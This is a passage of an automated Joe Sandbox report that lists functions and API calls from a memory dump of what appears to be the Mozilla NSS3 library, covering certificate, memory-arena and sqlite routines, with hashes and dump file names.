Instruction ID: 804bcd4bc8d8993f38100217754ac4dc244b1ee078f2059a6ae1c2fa75e00cbf
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 2781AE79E076038BFB114A59D89076972B2DB6134CF34843BE91ECAFE1D778D684C622

Function 6CE63C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CE63C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE63C94

Part of subcall function 6CE595B0: TlsGetValue.KERNEL32(00000000,?,6CE700D2,00000000), ref: 6CE595D2
Part of subcall function 6CE595B0: EnterCriticalSection.KERNEL32(?,?,?,6CE700D2,00000000), ref: 6CE595E7
Part of subcall function 6CE595B0: PR_Unlock.NSS3(?,?,?,?,6CE700D2,00000000), ref: 6CE59605

PORT_NewArena_Util.NSS3(00000800), ref: 6CE63CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CE63CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CE63CE1

Part of subcall function 6CE63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE7AE42), ref: 6CE630AA
Part of subcall function 6CE63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE630C7
Part of subcall function 6CE63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE630E5
Part of subcall function 6CE63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE63116
Part of subcall function 6CE63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE6312B
Part of subcall function 6CE63090: PK11_DestroyObject.NSS3(?,?), ref: 6CE63154
Part of subcall function 6CE63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE6317E

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: c3a8fe2b61478bbe9e94070653668d8643b3d685fa5378004a4549043edb0561
Instruction ID: 3656dd430c28aed6d9ad322b56923a7fa5264dce540b072abd490cfa32b34905
Opcode Fuzzy Hash: c3a8fe2b61478bbe9e94070653668d8643b3d685fa5378004a4549043edb0561
Instruction Fuzzy Hash: BD61A4B5A40300ABEB105EA6DC41FA77AB9EF0474CF284568FE099AB52F721D914C7B1

Function 6CEA3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA3440: PK11_GetAllTokens.NSS3 ref: 6CEA3481
Part of subcall function 6CEA3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEA34A3
Part of subcall function 6CEA3440: TlsGetValue.KERNEL32 ref: 6CEA352E
Part of subcall function 6CEA3440: EnterCriticalSection.KERNEL32(?), ref: 6CEA3542
Part of subcall function 6CEA3440: PR_Unlock.NSS3(?), ref: 6CEA355B

TlsGetValue.KERNEL32 ref: 6CEA3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CEA3D9F
PR_Unlock.NSS3(?), ref: 6CEA3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CEA3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEA3E4F

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

TlsGetValue.KERNEL32 ref: 6CEA3E97
EnterCriticalSection.KERNEL32(?), ref: 6CEA3EAB
PR_Unlock.NSS3(?), ref: 6CEA3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CEA3EEE

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: aba9b427a472f273d1da20861340e16b2c6c5fbfbfea41259cecc3a8edf18675
Instruction ID: d1eedf41ceb25ff9cc7f2197bbf7fce13c237d2f1a8325241e5197f714954d80
Opcode Fuzzy Hash: aba9b427a472f273d1da20861340e16b2c6c5fbfbfea41259cecc3a8edf18675
Instruction Fuzzy Hash: 4A513475E003019FDB11AFA9D884B6A77B0AF45318F248528DE194BB12EB32E856CB91

Function 6CE52C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(D45EFBF9), ref: 6CE52C5D

Part of subcall function 6CEB0D30: calloc.MOZGLUE ref: 6CEB0D50
Part of subcall function 6CEB0D30: TlsGetValue.KERNEL32 ref: 6CEB0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE52C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE52CE0

Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE52CDA,?,00000000), ref: 6CE52E1E
Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE52E33
Part of subcall function 6CE52E00: TlsGetValue.KERNEL32 ref: 6CE52E4E
Part of subcall function 6CE52E00: EnterCriticalSection.KERNEL32(?), ref: 6CE52E5E
Part of subcall function 6CE52E00: PL_HashTableLookup.NSS3(?), ref: 6CE52E71
Part of subcall function 6CE52E00: PL_HashTableRemove.NSS3(?), ref: 6CE52E84
Part of subcall function 6CE52E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE52E96
Part of subcall function 6CE52E00: PR_Unlock.NSS3 ref: 6CE52EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE52D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE52D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE52D3F
free.MOZGLUE(00000000), ref: 6CE52D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE52DB8
free.MOZGLUE ref: 6CE52DC8

Part of subcall function 6CE53E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE53EC2
Part of subcall function 6CE53E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE53ED6
Part of subcall function 6CE53E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE53EEE
Part of subcall function 6CE53E60: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE53F02
Part of subcall function 6CE53E60: PL_FreeArenaPool.NSS3 ref: 6CE53F14
Part of subcall function 6CE53E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE53F27

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 094dc605669f90e9d5bbd5501112f8c3a4c4d09237871f9d908a9ee7b801a86a
Instruction ID: 0494c0b530a653e10c5b710b72062653711875b69d45bfe719615ccaa9aa03f4
Opcode Fuzzy Hash: 094dc605669f90e9d5bbd5501112f8c3a4c4d09237871f9d908a9ee7b801a86a
Instruction Fuzzy Hash: 7A51EE72A043119FEB01DE68DC88B6B77F5EFA434CF64042CE85593750E732E8258B92

Function 6CE78F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE7905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE790EC

Part of subcall function 6CE40F00: PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B
Part of subcall function 6CE40F00: PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79111

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: f49506a4e87d9d7d7ac6baa943eceac6030291bbe75f7d27c5cbff2089895391
Instruction ID: 5c95c62cfc18e468d21bd291dd5f590397f6fda1ab65d0b7ae83af03b22df851
Opcode Fuzzy Hash: f49506a4e87d9d7d7ac6baa943eceac6030291bbe75f7d27c5cbff2089895391
Instruction Fuzzy Hash: DF5199B5A142058FCB50EF38C4C8399BBF1BF0A318F265569DC449B716EB31E885CBA1

Function 6CE57CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE53F7F,?,00000055,?,?,6CE51666,?,?), ref: 6CE540D9
Part of subcall function 6CE540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE51666,?,?), ref: 6CE540FC
Part of subcall function 6CE540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE51666,?,?), ref: 6CE54138

PR_GetCurrentThread.NSS3 ref: 6CE57CFD

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF79030), ref: 6CE57D1B

Part of subcall function 6CEAFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE51A3E,00000048,00000054), ref: 6CEAFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF79048), ref: 6CE57D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CE57D50
PR_GetCurrentThread.NSS3 ref: 6CE57D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CE57D7D
free.MOZGLUE(?), ref: 6CE57D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CE57DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CE57E19

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 1d40c067099ea31ed6c21ed2e6c1c7971d531c979142ab6152ec71a557b7b91b
Instruction ID: 0734f3ceae9b17b31603d80e1832c7db92036a55576935ea47d3419f91fd6b3e
Opcode Fuzzy Hash: 1d40c067099ea31ed6c21ed2e6c1c7971d531c979142ab6152ec71a557b7b91b
Instruction Fuzzy Hash: D3410772A1011A9BDB008F699C41BAF33F4AF4225CF654028EC05A7B50EB32ED39C7A1

Function 6CE67EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CE680DD), ref: 6CE67F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CE680DD), ref: 6CE67F36
free.MOZGLUE(?,?,?,6CE680DD), ref: 6CE67F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CE680DD), ref: 6CE67F5D
DeleteCriticalSection.KERNEL32(?,6CE680DD), ref: 6CE67F94
free.MOZGLUE(?), ref: 6CE67F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CE680DD), ref: 6CE67FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CE680DD), ref: 6CE67FE6
free.MOZGLUE(?,6CE680DD), ref: 6CE6802D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 03b556ddaafa49d37876ef867702d60cdd468436a301a2e674fea9486b578542
Instruction ID: 9f21f1b993bc11bc915fd9c0638ea8b8dbf66468219765a5dbc5c74f8ee2818a
Opcode Fuzzy Hash: 03b556ddaafa49d37876ef867702d60cdd468436a301a2e674fea9486b578542
Instruction Fuzzy Hash: 6B4147B0F601009BDB909FBA98C9B4A77B9AB47358F36022DE51D93F40D732D409CB94

Function 6CEAFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAFF00

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CEAFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEAFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CEAFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CEAFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CEAFF8C

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 17a0e2a8c29baac355eff19f9a0d8eab79b82715d02230ab3f2935273cbc5a4f
Instruction ID: 6febeaf5dbc6abe9b2d558ad3d97e18c46af4fcf9a3bbe47a7c3b8563671c1df
Opcode Fuzzy Hash: 17a0e2a8c29baac355eff19f9a0d8eab79b82715d02230ab3f2935273cbc5a4f
Instruction Fuzzy Hash: 393104FA9013529FE7108F948942B6A76B8AF4A35CF350139ED18ABB40E730E906C7D1

Function 6CDF7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDF7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CDF7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF7F2E

Strings

%s at line %d of [%.10s], xrefs: 6CDF7EE7, 6CDF7F28
database corruption, xrefs: 6CDF7EE2, 6CDF7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF7ED8, 6CDF7F08, 6CDF7F19

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: a02d2c712109095c6cf0c2014fc4199c625377854eafb5666566be00c08d7530
Instruction ID: 9882e8901179bd720b45d7577bb42f0fb3da737c48b32ab978962af68ae1030c
Opcode Fuzzy Hash: a02d2c712109095c6cf0c2014fc4199c625377854eafb5666566be00c08d7530
Instruction Fuzzy Hash: CE61B270A04206EFDB05CF25D890BEA77B2BF45318F1645A9EC294BB61D731EC56CBA0

Function 6CDDFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDDFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDDFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDFE83

Part of subcall function 6CDDFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CDDFEFA
Part of subcall function 6CDDFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CDDFF3B

Strings

%s at line %d of [%.10s], xrefs: 6CDDFD73, 6CDDFE35
database corruption, xrefs: 6CDDFD6E, 6CDDFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDFD64, 6CDDFE26

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: e20350aaf6e9f981caa1921e68915f563ea89d68dd217a2af941185b9a8ef792
Instruction ID: 88a6f58ecbcc47e2aa0dd4e4f2c07b55324eb26639da12d6a479e5c5c7d23517
Opcode Fuzzy Hash: e20350aaf6e9f981caa1921e68915f563ea89d68dd217a2af941185b9a8ef792
Instruction Fuzzy Hash: 69516E71E00205DFDB04CFA9D890AAEB7B1EF48318F154469E905ABB66E731ED50CBA0

Function 6CF22F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF22FFD
sqlite3_initialize.NSS3 ref: 6CF23007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF23032
sqlite3_mprintf.NSS3(6CF8AAF9,?), ref: 6CF23073
sqlite3_free.NSS3(?), ref: 6CF230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CF230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CF230BB

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 56cfdbd6cb36b31499c934cdf2739b46b37ae906f63d8fc2416866c9222ac82a
Instruction ID: 2975a04a7c678cb3d6daf73586af772b14b371ac74aa5a656dc8190ecfa95346
Opcode Fuzzy Hash: 56cfdbd6cb36b31499c934cdf2739b46b37ae906f63d8fc2416866c9222ac82a
Instruction Fuzzy Hash: 7641A572600606AFDB10CF65D840A46B7F5FF44368F158528EC598BB40E735F959CBE1

Function 6CEA5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]l), ref: 6CEA5F0A
TlsGetValue.KERNEL32 ref: 6CEA5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CEA5F2F
PR_Unlock.NSS3(890008E8), ref: 6CEA5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CEA5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CEA5F7D

Part of subcall function 6CEA5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CEA5F82,8B4274C0), ref: 6CEA5248
Part of subcall function 6CEA5220: EnterCriticalSection.KERNEL32(0F6CF70D,?,6CEA5F82,8B4274C0), ref: 6CEA525C
Part of subcall function 6CEA5220: PR_SetError.NSS3(00000000,00000000), ref: 6CEA528E
Part of subcall function 6CEA5220: PR_Unlock.NSS3(0F6CF6F1), ref: 6CEA5299
Part of subcall function 6CEA5220: free.MOZGLUE(00000000), ref: 6CEA52A9

Strings

q]l, xrefs: 6CEA5EDB, 6CEA5F09

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
